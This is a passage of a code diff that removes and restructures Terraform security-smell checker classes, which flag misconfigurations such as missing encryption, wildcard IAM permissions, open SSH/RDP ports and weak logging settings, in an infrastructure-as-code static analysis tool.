errors.append(Error('sec_missing_encryption', element, file, repr(element), - f"Suggestion: check for a required attribute with name '{config['msg']}'.")) - - elif isinstance(element, Attribute) or isinstance(element, Variable): - for config in SecurityVisitor._MISSING_ENCRYPTION: - if (elem_name == config['attribute'] and au_type in config['au_type'] - and parent_name in config['parents'] and config['values'] != [""]): - if ("any_not_empty" in config['values'] and elem_value.lower() == ""): - errors.append(Error('sec_missing_encryption', element, file, repr(element))) - break - elif ("any_not_empty" not in config['values'] and not element.has_variable - and elem_value.lower() not in config['values']): - errors.append(Error('sec_missing_encryption', element, file, repr(element))) - break - - for item in SecurityVisitor._CONFIGURATION_KEYWORDS: - if item.lower() == elem_name: - for config in SecurityVisitor._ENCRYPT_CONFIG: - if au_type in config['au_type']: - expr = config['keyword'].lower() + "\s*" + config['value'].lower() - pattern = re.compile(rf"{expr}") - if not re.search(pattern, elem_value) and config['required'] == "yes": - errors.append(Error('sec_missing_encryption', element, file, repr(element))) - break - elif re.search(pattern, elem_value) and config['required'] == "must_not_exist": - errors.append(Error('sec_missing_encryption', element, file, repr(element))) - break - return errors - - class TerraformFirewallMisconfig(TerraformSmellChecker): - def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): - errors = [] - if isinstance(element, AtomicUnit): - for config in SecurityVisitor._FIREWALL_CONFIGS: - if (config['required'] == "yes" and element.type in config['au_type'] - and not self.check_required_attribute(element.attributes, config['parents'], config['attribute'])): - errors.append(Error('sec_firewall_misconfig', element, file, repr(element), - f"Suggestion: check for a required attribute with name '{config['msg']}'.")) - - elif isinstance(element, Attribute) or isinstance(element, Variable): - for config in SecurityVisitor._FIREWALL_CONFIGS: - if (elem_name == config['attribute'] and au_type in config['au_type'] - and parent_name in config['parents'] and config['values'] != [""]): - if ("any_not_empty" in config['values'] and elem_value.lower() == ""): - return [Error('sec_firewall_misconfig', element, file, repr(element))] - elif ("any_not_empty" not in config['values'] and not element.has_variable and - elem_value.lower() not in config['values']): - return [Error('sec_firewall_misconfig', element, file, repr(element))] - return errors - - class TerraformThreatsDetection(TerraformSmellChecker): - def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): - errors = [] - if isinstance(element, AtomicUnit): - for config in SecurityVisitor._MISSING_THREATS_DETECTION_ALERTS: - if (config['required'] == "yes" and element.type in config['au_type'] - and not self.check_required_attribute(element.attributes, config['parents'], config['attribute'])): - errors.append(Error('sec_threats_detection_alerts', element, file, repr(element), - f"Suggestion: check for a required attribute with name '{config['msg']}'.")) - elif (config['required'] == "must_not_exist" and element.type in config['au_type']): - a = self.check_required_attribute(element.attributes, config['parents'], config['attribute']) - if a: - errors.append(Error('sec_threats_detection_alerts', a, file, repr(a))) - - elif isinstance(element, Attribute) or isinstance(element, Variable): - for config in SecurityVisitor._MISSING_THREATS_DETECTION_ALERTS: - if (elem_name == config['attribute'] and au_type in config['au_type'] - and parent_name in config['parents'] and config['values'] != [""]): - if ("any_not_empty" in config['values'] and elem_value.lower() == ""): - return [Error('sec_threats_detection_alerts', element, file, repr(element))] - elif ("any_not_empty" not in config['values'] and not element.has_variable and - elem_value.lower() not in config['values']): - return [Error('sec_threats_detection_alerts', element, file, repr(element))] - return errors - - class TerraformWeakPasswordKeyPolicy(TerraformSmellChecker): - def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): - errors = [] - if isinstance(element, AtomicUnit): - for policy in SecurityVisitor._PASSWORD_KEY_POLICY: - if (policy['required'] == "yes" and element.type in policy['au_type'] - and not self.check_required_attribute(element.attributes, policy['parents'], policy['attribute'])): - errors.append(Error('sec_weak_password_key_policy', element, file, repr(element), - f"Suggestion: check for a required attribute with name '{policy['msg']}'.")) - - elif isinstance(element, Attribute) or isinstance(element, Variable): - for policy in SecurityVisitor._PASSWORD_KEY_POLICY: - if (elem_name == policy['attribute'] and au_type in policy['au_type'] - and parent_name in policy['parents'] and policy['values'] != [""]): - if (policy['logic'] == "equal"): - if ("any_not_empty" in policy['values'] and elem_value.lower() == ""): - return [Error('sec_weak_password_key_policy', element, file, repr(element))] - elif ("any_not_empty" not in policy['values'] and not element.has_variable and - elem_value.lower() not in policy['values']): - return [Error('sec_weak_password_key_policy', element, file, repr(element))] - elif ((policy['logic'] == "gte" and not elem_value.isnumeric()) or - (policy['logic'] == "gte" and elem_value.isnumeric() - and int(elem_value) < int(policy['values'][0]))): - return [Error('sec_weak_password_key_policy', element, file, repr(element))] - elif ((policy['logic'] == "lte" and not elem_value.isnumeric()) or - (policy['logic'] == "lte" and elem_value.isnumeric() - and int(elem_value) > int(policy['values'][0]))): - return [Error('sec_weak_password_key_policy', element, file, repr(element))] - - return errors - - class TerraformSensitiveIAMAction(TerraformSmellChecker): - def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): - errors = [] - - def convert_string_to_dict(input_string): - cleaned_string = input_string.strip() - try: - dict_data = json.loads(cleaned_string) - return dict_data - except json.JSONDecodeError as e: - return None - - if isinstance(element, AtomicUnit): - if (element.type == "data.aws_iam_policy_document"): - statements = self.check_required_attribute(element.attributes, [""], "statement", return_all=True) - if statements: - for statement in statements: - allow = self.check_required_attribute(statement.keyvalues, [""], "effect") - if ((allow and allow.value.lower() == "allow") or (not allow)): - sensitive_action = False - i = 0 - action = self.check_required_attribute(statement.keyvalues, [""], f"actions[{i}]") - while action: - if ("*" in action.value.lower()): - sensitive_action = True - break - i += 1 - action = self.check_required_attribute(statement.keyvalues, [""], f"actions[{i}]") - if sensitive_action: - errors.append(Error('sec_sensitive_iam_action', action, file, repr(action))) - wildcarded_resource = False - i = 0 - resource = self.check_required_attribute(statement.keyvalues, [""], f"resources[{i}]") - while resource: - if (resource.value.lower() in ["*"]) or (":*" in resource.value.lower()): - wildcarded_resource = True - break - i += 1 - resource = self.check_required_attribute(statement.keyvalues, [""], f"resources[{i}]") - if wildcarded_resource: - errors.append(Error('sec_sensitive_iam_action', resource, file, repr(resource))) - elif (element.type in ["resource.aws_iam_role_policy", "resource.aws_iam_policy", - "resource.aws_iam_user_policy", "resource.aws_iam_group_policy"]): - policy = self.check_required_attribute(element.attributes, [""], "policy") - if policy: - policy_dict = convert_string_to_dict(policy.value.lower()) - if policy_dict and policy_dict["statement"]: - statements = policy_dict["statement"] - if isinstance(statements, dict): - statements = [statements] - for statement in statements: - if statement["effect"] and statement["action"] and statement["resource"]: - if statement["effect"] == "allow": - if isinstance(statement["action"], list): - for action in statement["action"]: - if ("*" in action): - errors.append(Error('sec_sensitive_iam_action', policy, file, repr(policy))) - break - else: - if ("*" in statement["action"]): - errors.append(Error('sec_sensitive_iam_action', policy, file, repr(policy))) - if isinstance(statement["resource"], list): - for resource in statement["resource"]: - if (resource in ["*"]) or (":*" in resource): - errors.append(Error('sec_sensitive_iam_action', policy, file, repr(policy))) - break - else: - if (statement["resource"] in ["*"]) or (":*" in statement["resource"]): - errors.append(Error('sec_sensitive_iam_action', policy, file, repr(policy))) - - elif isinstance(element, Attribute) or isinstance(element, Variable): - pass - - return errors - - class TerraformKeyManagement(TerraformSmellChecker): - def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): - errors = [] - if isinstance(element, AtomicUnit): - if (element.type == "resource.azurerm_storage_account"): - expr = "\${azurerm_storage_account\." + f"{elem_name}\." - pattern = re.compile(rf"{expr}") - if not self.get_associated_au(code, file, "resource.azurerm_storage_account_customer_managed_key", "storage_account_id", - pattern, [""]): - errors.append(Error('sec_key_management', element, file, repr(element), - f"Suggestion: check for a required resource 'azurerm_storage_account_customer_managed_key' " + - f"associated to an 'azurerm_storage_account' resource.")) - for config in SecurityVisitor._KEY_MANAGEMENT: - if (config['required'] == "yes" and element.type in config['au_type'] - and not self.check_required_attribute(element.attributes, config['parents'], config['attribute'])): - errors.append(Error('sec_key_management', element, file, repr(element), - f"Suggestion: check for a required attribute with name '{config['msg']}'.")) - - elif isinstance(element, Attribute) or isinstance(element, Variable): - for config in SecurityVisitor._KEY_MANAGEMENT: - if (elem_name == config['attribute'] and au_type in config['au_type'] - and parent_name in config['parents'] and config['values'] != [""]): - if ("any_not_empty" in config['values'] and elem_value.lower() == ""): - errors.append(Error('sec_key_management', element, file, repr(element))) - break - elif ("any_not_empty" not in config['values'] and not element.has_variable and - elem_value.lower() not in config['values']): - errors.append(Error('sec_key_management', element, file, repr(element))) - break - - if (elem_name == "rotation_period" and au_type == "resource.google_kms_crypto_key"): - expr1 = r'\d+\.\d{0,9}s' - expr2 = r'\d+s' - if (re.search(expr1, elem_value) or re.search(expr2, elem_value)): - if (int(elem_value.split("s")[0]) > 7776000): - errors.append(Error('sec_key_management', element, file, repr(element))) - else: - errors.append(Error('sec_key_management', element, file, repr(element))) - elif (elem_name == "kms_master_key_id" and ((au_type == "resource.aws_sqs_queue" - and elem_value == "alias/aws/sqs") or (au_type == "resource.aws_sns_queue" - and elem_value == "alias/aws/sns"))): - errors.append(Error('sec_key_management', element, file, repr(element))) - return errors - - class TerraformNetworkSecurityRules(TerraformSmellChecker): - def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): - errors = [] - if isinstance(element, AtomicUnit): - if (element.type == "resource.azurerm_network_security_rule"): - access = self.check_required_attribute(element.attributes, [""], "access") - if (access and access.value.lower() == "allow"): - protocol = self.check_required_attribute(element.attributes, [""], "protocol") - if (protocol and protocol.value.lower() == "udp"): - errors.append(Error('sec_network_security_rules', access, file, repr(access))) - elif (protocol and protocol.value.lower() == "tcp"): - dest_port_range = self.check_required_attribute(element.attributes, [""], "destination_port_range") - dest_port_ranges = self.check_required_attribute(element.attributes, [""], "destination_port_ranges[0]") - port = False - if (dest_port_range and dest_port_range.value.lower() in ["22", "3389", "*"]): - port = True - if dest_port_ranges: - i = 1 - while dest_port_ranges: - if dest_port_ranges.value.lower() in ["22", "3389", "*"]: - port = True - break - i += 1 - dest_port_ranges = self.check_required_attribute(element.attributes, [""], f"destination_port_ranges[{i}]") - if port: - source_address_prefix = self.check_required_attribute(element.attributes, [""], "source_address_prefix") - if (source_address_prefix and (source_address_prefix.value.lower() in ["*", "/0", "internet", "any"] - or re.match(r'^0.0.0.0', source_address_prefix.value.lower()))): - errors.append(Error('sec_network_security_rules', source_address_prefix, file, repr(source_address_prefix))) - elif (element.type == "resource.azurerm_network_security_group"): - access = self.check_required_attribute(element.attributes, ["security_rule"], "access") - if (access and access.value.lower() == "allow"): - protocol = self.check_required_attribute(element.attributes, ["security_rule"], "protocol") - if (protocol and protocol.value.lower() == "udp"): - errors.append(Error('sec_network_security_rules', access, file, repr(access))) - elif (protocol and protocol.value.lower() == "tcp"): - dest_port_range = self.check_required_attribute(element.attributes, ["security_rule"], "destination_port_range") - if (dest_port_range and dest_port_range.value.lower() in ["22", "3389", "*"]): - source_address_prefix = self.check_required_attribute(element.attributes, [""], "source_address_prefix") - if (source_address_prefix and (source_address_prefix.value.lower() in ["*", "/0", "internet", "any"] - or re.match(r'^0.0.0.0', source_address_prefix.value.lower()))): - errors.append(Error('sec_network_security_rules', source_address_prefix, file, repr(source_address_prefix))) - - for rule in SecurityVisitor._NETWORK_SECURITY_RULES: - if (rule['required'] == "yes" and element.type in rule['au_type'] - and not self.check_required_attribute(element.attributes, rule['parents'], rule['attribute'])): - errors.append(Error('sec_network_security_rules', element, file, repr(element), - f"Suggestion: check for a required attribute with name '{rule['msg']}'.")) - - elif isinstance(element, Attribute) or isinstance(element, Variable): - for rule in SecurityVisitor._NETWORK_SECURITY_RULES: - if (elem_name == rule['attribute'] and au_type in rule['au_type'] and parent_name in rule['parents'] - and not element.has_variable and elem_value.lower() not in rule['values'] and rule['values'] != [""]): - return [Error('sec_network_security_rules', element, file, repr(element))] - - return errors - - class TerraformPermissionIAMPolicies(TerraformSmellChecker): - def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): - errors = [] - if isinstance(element, AtomicUnit): - if (element.type == "resource.aws_iam_user"): - expr = "\${aws_iam_user\." + f"{elem_name}\." - pattern = re.compile(rf"{expr}") - assoc_au = self.get_associated_au(code, file, "resource.aws_iam_user_policy", "user", pattern, [""]) - if assoc_au: - a = self.check_required_attribute(assoc_au.attributes, [""], "user", None, pattern) - errors.append(Error('sec_permission_iam_policies', a, file, repr(a))) - - elif isinstance(element, Attribute) or isinstance(element, Variable): - if ((elem_name == "member" or elem_name.split('[')[0] == "members") - and au_type in SecurityVisitor._GOOGLE_IAM_MEMBER - and (re.search(r".-compute@developer.gserviceaccount.com", elem_value) or - re.search(r".@appspot.gserviceaccount.com", elem_value) or - re.search(r"user:", elem_value))): - errors.append(Error('sec_permission_iam_policies', element, file, repr(element))) - - for config in SecurityVisitor._PERMISSION_IAM_POLICIES: - if (elem_name == config['attribute'] and au_type in config['au_type'] - and parent_name in config['parents'] and config['values'] != [""]): - if ((config['logic'] == "equal" and not element.has_variable and elem_value.lower() not in config['values']) - or (config['logic'] == "diff" and elem_value.lower() in config['values'])): - errors.append(Error('sec_permission_iam_policies', element, file, repr(element))) - break - return errors - - class TerraformLogging(TerraformSmellChecker): - def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): - errors = [] - if isinstance(element, AtomicUnit): - if (element.type == "resource.aws_eks_cluster"): - enabled_cluster_log_types = self.check_required_attribute(element.attributes, [""], "enabled_cluster_log_types[0]") - types = ["api", "authenticator", "audit", "scheduler", "controllermanager"] - if enabled_cluster_log_types: - i = 0 - while enabled_cluster_log_types: - a = enabled_cluster_log_types - if enabled_cluster_log_types.value.lower() in types: - types.remove(enabled_cluster_log_types.value.lower()) - i += 1 - enabled_cluster_log_types = self.check_required_attribute(element.attributes, [""], f"enabled_cluster_log_types[{i}]") - if types != []: - errors.append(Error('sec_logging', a, file, repr(a), - f"Suggestion: check for additional log type(s) {types}.")) - else: - errors.append(Error('sec_logging', element, file, repr(element), - f"Suggestion: check for a required attribute with name 'enabled_cluster_log_types'.")) - elif (element.type == "resource.aws_msk_cluster"): - broker_logs = self.check_required_attribute(element.attributes, ["logging_info"], "broker_logs") - if broker_logs: - active = False - logs_type = ["cloudwatch_logs", "firehose", "s3"] - a_list = [] - for type in logs_type: - log = self.check_required_attribute(broker_logs.keyvalues, [""], type) - if log: - enabled = self.check_required_attribute(log.keyvalues, [""], "enabled") - if enabled and f"{enabled.value}".lower() == "true": - active = True - elif enabled and f"{enabled.value}".lower() != "true": - a_list.append(enabled) - if not active and a_list == []: - errors.append(Error('sec_logging', element, file, repr(element), - f"Suggestion: check for a required attribute with name " + - f"'logging_info.broker_logs.[cloudwatch_logs/firehose/s3].enabled'.")) - if not active and a_list != []: - for a in a_list: - errors.append(Error('sec_logging', a, file, repr(a))) - else: - errors.append(Error('sec_logging', element, file, repr(element), - f"Suggestion: check for a required attribute with name " + - f"'logging_info.broker_logs.[cloudwatch_logs/firehose/s3].enabled'.")) - elif (element.type == "resource.aws_neptune_cluster"): - active = False - enable_cloudwatch_logs_exports = self.check_required_attribute(element.attributes, [""], f"enable_cloudwatch_logs_exports[0]") - if enable_cloudwatch_logs_exports: - i = 0 - while enable_cloudwatch_logs_exports: - a = enable_cloudwatch_logs_exports - if enable_cloudwatch_logs_exports.value.lower() == "audit": - active = True - break - i += 1 - enable_cloudwatch_logs_exports = self.check_required_attribute(element.attributes, [""], f"enable_cloudwatch_logs_exports[{i}]") - if not active: - errors.append(Error('sec_logging', a, file, repr(a))) - else: - errors.append(Error('sec_logging', element, file, repr(element), - f"Suggestion: check for a required attribute with name 'enable_cloudwatch_logs_exports'.")) - elif (element.type == "resource.aws_docdb_cluster"): - active = False - enabled_cloudwatch_logs_exports = self.check_required_attribute(element.attributes, [""], f"enabled_cloudwatch_logs_exports[0]") - if enabled_cloudwatch_logs_exports: - i = 0 - while enabled_cloudwatch_logs_exports: - a = enabled_cloudwatch_logs_exports - if enabled_cloudwatch_logs_exports.value.lower() in ["audit", "profiler"]: - active = True - break - i += 1 - enabled_cloudwatch_logs_exports = self.check_required_attribute(element.attributes, [""], f"enabled_cloudwatch_logs_exports[{i}]") - if not active: - errors.append(Error('sec_logging', a, file, repr(a))) - else: - errors.append(Error('sec_logging', element, file, repr(element), - f"Suggestion: check for a required attribute with name 'enabled_cloudwatch_logs_exports'.")) - elif (element.type == "resource.azurerm_mssql_server"): - expr = "\${azurerm_mssql_server\." + f"{elem_name}\." - pattern = re.compile(rf"{expr}") - assoc_au = self.get_associated_au(code, file, "resource.azurerm_mssql_server_extended_auditing_policy", - "server_id", pattern, [""]) - if not assoc_au: - errors.append(Error('sec_logging', element, file, repr(element), - f"Suggestion: check for a required resource 'azurerm_mssql_server_extended_auditing_policy' " + - f"associated to an 'azurerm_mssql_server' resource.")) - elif (element.type == "resource.azurerm_mssql_database"): - expr = "\${azurerm_mssql_database\." + f"{elem_name}\." - pattern = re.compile(rf"{expr}") - assoc_au = self.get_associated_au(code, file, "resource.azurerm_mssql_database_extended_auditing_policy", - "database_id", pattern, [""]) - if not assoc_au: - errors.append(Error('sec_logging', element, file, repr(element), - f"Suggestion: check for a required resource 'azurerm_mssql_database_extended_auditing_policy' " + - f"associated to an 'azurerm_mssql_database' resource.")) - elif (element.type == "resource.azurerm_postgresql_configuration"): - name = self.check_required_attribute(element.attributes, [""], "name") - value = self.check_required_attribute(element.attributes, [""], "value") - if (name and name.value.lower() in ["log_connections", "connection_throttling", "log_checkpoints"] - and value and value.value.lower() != "on"): - errors.append(Error('sec_logging', value, file, repr(value))) - elif (element.type == "resource.azurerm_monitor_log_profile"): - categories = self.check_required_attribute(element.attributes, [""], "categories[0]") - activities = [ "action", "delete", "write"] - if categories: - i = 0 - while categories: - a = categories - if categories.value.lower() in activities: - activities.remove(categories.value.lower()) - i += 1 - categories = self.check_required_attribute(element.attributes, [""], f"categories[{i}]") - if activities != []: - errors.append(Error('sec_logging', a, file, repr(a), - f"Suggestion: check for additional activity type(s) {activities}.")) - else: - errors.append(Error('sec_logging', element, file, repr(element), - f"Suggestion: check for a required attribute with name 'categories'.")) - elif (element.type == "resource.google_sql_database_instance"): - for flag in SecurityVisitor._GOOGLE_SQL_DATABASE_LOG_FLAGS: - required_flag = True - if flag['required'] == "no": - required_flag = False - errors += self.check_database_flags(element, file, 'sec_logging', flag['flag_name'], flag['value'], required_flag) - elif (element.type == "resource.azurerm_storage_container"): - storage_account_name = self.check_required_attribute(element.attributes, [""], "storage_account_name") - if storage_account_name and storage_account_name.value.lower().startswith("${azurerm_storage_account."): - name = storage_account_name.value.lower().split('.')[1] - storage_account_au = self.get_au(code, file, name, "resource.azurerm_storage_account") - if storage_account_au: - expr = "\${azurerm_storage_account\." + f"{name}\." - pattern = re.compile(rf"{expr}") - assoc_au = self.get_associated_au(code, file, "resource.azurerm_log_analytics_storage_insights", - "storage_account_id", pattern, [""]) - if assoc_au: - blob_container_names = self.check_required_attribute(assoc_au.attributes, [""], "blob_container_names[0]") - if blob_container_names: - i = 0 - contains_blob_name = False - while blob_container_names: - a = blob_container_names - if blob_container_names.value: - contains_blob_name = True - break - i += 1 - blob_container_names = self.check_required_attribute(assoc_au.attributes, [""], f"blob_container_names[{i}]") - if not contains_blob_name: - errors.append(Error('sec_logging', a, file, repr(a))) - else: - errors.append(Error('sec_logging', assoc_au, file, repr(assoc_au), - f"Suggestion: check for a required attribute with name 'blob_container_names'.")) - else: - errors.append(Error('sec_logging', storage_account_au, file, repr(storage_account_au), - f"Suggestion: check for a required resource 'azurerm_log_analytics_storage_insights' " + - f"associated to an 'azurerm_storage_account' resource.")) - else: - errors.append(Error('sec_logging', element, file, repr(element), - f"Suggestion: 'azurerm_storage_container' resource has to be associated to an " + - f"'azurerm_storage_account' resource in order to enable logging.")) - else: - errors.append(Error('sec_logging', element, file, repr(element), - f"Suggestion: 'azurerm_storage_container' resource has to be associated to an " + - f"'azurerm_storage_account' resource in order to enable logging.")) - container_access_type = self.check_required_attribute(element.attributes, [""], "container_access_type") - if container_access_type and container_access_type.value.lower() not in ["blob", "private"]: - errors.append(Error('sec_logging', container_access_type, file, repr(container_access_type))) - elif (element.type == "resource.aws_ecs_cluster"): - name = self.check_required_attribute(element.attributes, ["setting"], "name", "containerinsights") - if name: - enabled = self.check_required_attribute(element.attributes, ["setting"], "value") - if enabled: - if enabled.value.lower() != "enabled": - errors.append(Error('sec_logging', enabled, file, repr(enabled))) - else: - errors.append(Error('sec_logging', element, file, repr(element), - f"Suggestion: check for a required attribute with name 'setting.value'.")) - else: - errors.append(Error('sec_logging', element, file, repr(element), - "Suggestion: check for a required attribute with name 'setting.name' and value 'containerInsights'.")) - elif (element.type == "resource.aws_vpc"): - expr = "\${aws_vpc\." + f"{elem_name}\." - pattern = re.compile(rf"{expr}") - assoc_au = self.get_associated_au(code, file, "resource.aws_flow_log", - "vpc_id", pattern, [""]) - if not assoc_au: - errors.append(Error('sec_logging', element, file, repr(element), - f"Suggestion: check for a required resource 'aws_flow_log' " + - f"associated to an 'aws_vpc' resource.")) - - for config in SecurityVisitor._LOGGING: - if (config['required'] == "yes" and element.type in config['au_type'] - and not self.check_required_attribute(element.attributes, config['parents'], config['attribute'])): - errors.append(Error('sec_logging', element, file, repr(element), - f"Suggestion: check for a required attribute with name '{config['msg']}'.")) - - elif isinstance(element, Attribute) or isinstance(element, Variable): - if (elem_name == "cloud_watch_logs_group_arn" and au_type == "resource.aws_cloudtrail"): - if re.match(r"^\${aws_cloudwatch_log_group\..", elem_value): - aws_cloudwatch_log_group_name = elem_value.split('.')[1] - if not self.get_au(code, file, aws_cloudwatch_log_group_name, "resource.aws_cloudwatch_log_group"): - errors.append(Error('sec_logging', element, file, repr(element), - f"Suggestion: check for a required resource 'aws_cloudwatch_log_group' " + - f"with name '{aws_cloudwatch_log_group_name}'.")) - else: - errors.append(Error('sec_logging', element, file, repr(element))) - elif (((elem_name == "retention_in_days" and parent_name == "" - and au_type in ["resource.azurerm_mssql_database_extended_auditing_policy", - "resource.azurerm_mssql_server_extended_auditing_policy"]) - or (elem_name == "days" and parent_name == "retention_policy" - and au_type == "resource.azurerm_network_watcher_flow_log")) - and ((not elem_value.isnumeric()) or (elem_value.isnumeric() and int(elem_value) < 90))): - errors.append(Error('sec_logging', element, file, repr(element))) - elif (elem_name == "days" and parent_name == "retention_policy" - and au_type == "resource.azurerm_monitor_log_profile" - and (not elem_value.isnumeric() or (elem_value.isnumeric() and int(elem_value) < 365))): - errors.append(Error('sec_logging', element, file, repr(element))) - - for config in SecurityVisitor._LOGGING: - if (elem_name == config['attribute'] and au_type in config['au_type'] - and parent_name in config['parents'] and config['values'] != [""]): - if ("any_not_empty" in config['values'] and elem_value.lower() == ""): - errors.append(Error('sec_logging', element, file, repr(element))) - break - elif ("any_not_empty" not in config['values'] and not element.has_variable and - elem_value.lower() not in config['values']): - errors.append(Error('sec_logging', element, file, repr(element))) - break - return errors - - class TerraformAttachedResource(TerraformSmellChecker): - def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): - errors = [] - if isinstance(element, AtomicUnit): - def check_attached_resource(attributes, resource_types): - for a in attributes: - if a.value != None: - for resource_type in resource_types: - if (f"{a.value}".lower().startswith("${" + f"{resource_type}.") - or f"{a.value}".lower().startswith(f"{resource_type}.")): - resource_name = a.value.lower().split(".")[1] - if self.get_au(code, file, resource_name, f"resource.{resource_type}"): - return True - elif a.value == None: - attached = check_attached_resource(a.keyvalues, resource_types) - if attached: - return True - return False - - if (element.type == "resource.aws_route53_record"): - type_A = self.check_required_attribute(element.attributes, [""], "type", "a") - if type_A and not check_attached_resource(element.attributes, SecurityVisitor._POSSIBLE_ATTACHED_RESOURCES): - errors.append(Error('sec_attached_resource', element, file, repr(element))) - - elif isinstance(element, Attribute) or isinstance(element, Variable): - pass - return errors - - class TerraformVersioning(TerraformSmellChecker): - def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): - errors = [] - if isinstance(element, AtomicUnit): - for config in SecurityVisitor._VERSIONING: - if (config['required'] == "yes" and element.type in config['au_type'] - and not self.check_required_attribute(element.attributes, config['parents'], config['attribute'])): - errors.append(Error('sec_versioning', element, file, repr(element), - f"Suggestion: check for a required attribute with name '{config['msg']}'.")) - elif isinstance(element, Attribute) or isinstance(element, Variable): - for config in SecurityVisitor._VERSIONING: - if (elem_name == config['attribute'] and au_type in config['au_type'] - and parent_name in config['parents'] and config['values'] != [""] - and not element.has_variable and elem_value.lower() not in config['values']): - return [Error('sec_versioning', element, file, repr(element))] - return errors - - class TerraformNaming(TerraformSmellChecker): - def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): - errors = [] - if isinstance(element, AtomicUnit): - if (element.type == "resource.aws_security_group"): - ingress = self.check_required_attribute(element.attributes, [""], "ingress") - egress = self.check_required_attribute(element.attributes, [""], "egress") - if ingress and not self.check_required_attribute(ingress.keyvalues, [""], "description"): - errors.append(Error('sec_naming', element, file, repr(element), - f"Suggestion: check for a required attribute with name 'ingress.description'.")) - if egress and not self.check_required_attribute(egress.keyvalues, [""], "description"): - errors.append(Error('sec_naming', element, file, repr(element), - f"Suggestion: check for a required attribute with name 'egress.description'.")) - elif (element.type == "resource.google_container_cluster"): - resource_labels = self.check_required_attribute(element.attributes, [""], "resource_labels", None) - if resource_labels and resource_labels.value == None: - if resource_labels.keyvalues == []: - errors.append(Error('sec_naming', resource_labels, file, repr(resource_labels), - f"Suggestion: check empty 'resource_labels'.")) - else: - errors.append(Error('sec_naming', element, file, repr(element), - f"Suggestion: check for a required attribute with name 'resource_labels'.")) - - for config in SecurityVisitor._NAMING: - if (config['required'] == "yes" and element.type in config['au_type'] - and not self.check_required_attribute(element.attributes, config['parents'], config['attribute'])): - errors.append(Error('sec_naming', element, file, repr(element), - f"Suggestion: check for a required attribute with name '{config['msg']}'.")) - - elif isinstance(element, Attribute) or isinstance(element, Variable): - if (elem_name == "name" and au_type in ["resource.azurerm_storage_account"]): - pattern = r'^[a-z0-9]{3,24}$' - if not re.match(pattern, elem_value): - errors.append(Error('sec_naming', element, file, repr(element))) - - for config in SecurityVisitor._NAMING: - if (elem_name == config['attribute'] and au_type in config['au_type'] - and parent_name in config['parents'] and config['values'] != [""]): - if ("any_not_empty" in config['values'] and elem_value.lower() == ""): - errors.append(Error('sec_naming', element, file, repr(element))) - break - elif ("any_not_empty" not in config['values'] and not element.has_variable and - elem_value.lower() not in config['values']): - errors.append(Error('sec_naming', element, file, repr(element))) - break - return errors - - class TerraformReplication(TerraformSmellChecker): - def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): - errors = [] - if isinstance(element, AtomicUnit): - if (element.type == "resource.aws_s3_bucket"): - expr = "\${aws_s3_bucket\." + f"{elem_name}\." - pattern = re.compile(rf"{expr}") - if not self.get_associated_au(code, file, "resource.aws_s3_bucket_replication_configuration", - "bucket", pattern, [""]): - errors.append(Error('sec_replication', element, file, repr(element), - f"Suggestion: check for a required resource 'aws_s3_bucket_replication_configuration' " + - f"associated to an 'aws_s3_bucket' resource.")) - - for config in SecurityVisitor._REPLICATION: - if (config['required'] == "yes" and element.type in config['au_type'] - and not self.check_required_attribute(element.attributes, config['parents'], config['attribute'])): - errors.append(Error('sec_replication', element, file, repr(element), - f"Suggestion: check for a required attribute with name '{config['msg']}'.")) - - elif isinstance(element, Attribute) or isinstance(element, Variable): - for config in SecurityVisitor._REPLICATION: - if (elem_name == config['attribute'] and au_type in config['au_type'] - and parent_name in config['parents'] and config['values'] != [""] - and not element.has_variable and elem_value.lower() not in config['values']): - return [Error('sec_replication', element, file, repr(element))] - return errors - class EmptyChecker(SmellChecker): def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): return [] @@ -1075,50 +37,12 @@ def check(self, element, file: str) -> List[Error]: def __init__(self, tech: Tech) -> None: super().__init__(tech) + self.checkers = [] if tech == Tech.terraform: - self.integrity_policy = SecurityVisitor.TerraformIntegrityPolicy() - self.https = SecurityVisitor.TerraformHttpWithoutTls() - self.ssl_tls_policy = SecurityVisitor.TerraformSslTlsPolicy() - self.dnssec = SecurityVisitor.TerraformDnsWithoutDnssec() - self.public_ip = SecurityVisitor.TerraformPublicIp() - self.access_control = SecurityVisitor.TerraformAccessControl() - self.authentication = SecurityVisitor.TerraformAuthentication() - self.missing_encryption = SecurityVisitor.TerraformMissingEncryption() - self.firewall_misconfig = SecurityVisitor.TerraformFirewallMisconfig() - self.threats_detection = SecurityVisitor.TerraformThreatsDetection() - self.weak_password_key_policy = SecurityVisitor.TerraformWeakPasswordKeyPolicy() - self.sensitive_iam_action = SecurityVisitor.TerraformSensitiveIAMAction() - self.key_management = SecurityVisitor.TerraformKeyManagement() - self.network_security_rules = SecurityVisitor.TerraformNetworkSecurityRules() - self.permission_iam_policies = SecurityVisitor.TerraformPermissionIAMPolicies() - self.logging = SecurityVisitor.TerraformLogging() - self.attached_resource = SecurityVisitor.TerraformAttachedResource() - self.versioning = SecurityVisitor.TerraformVersioning() - self.naming = SecurityVisitor.TerraformNaming() - self.replication = SecurityVisitor.TerraformReplication() - else: - self.integrity_policy = SecurityVisitor.EmptyChecker() - self.https = SecurityVisitor.EmptyChecker() - self.ssl_tls_policy = SecurityVisitor.EmptyChecker() - self.dnssec = SecurityVisitor.EmptyChecker() - self.public_ip = SecurityVisitor.EmptyChecker() - self.access_control = SecurityVisitor.EmptyChecker() - self.authentication = SecurityVisitor.EmptyChecker() - self.missing_encryption = SecurityVisitor.EmptyChecker() - self.firewall_misconfig = SecurityVisitor.EmptyChecker() - self.threats_detection = SecurityVisitor.EmptyChecker() - self.weak_password_key_policy = SecurityVisitor.EmptyChecker() - 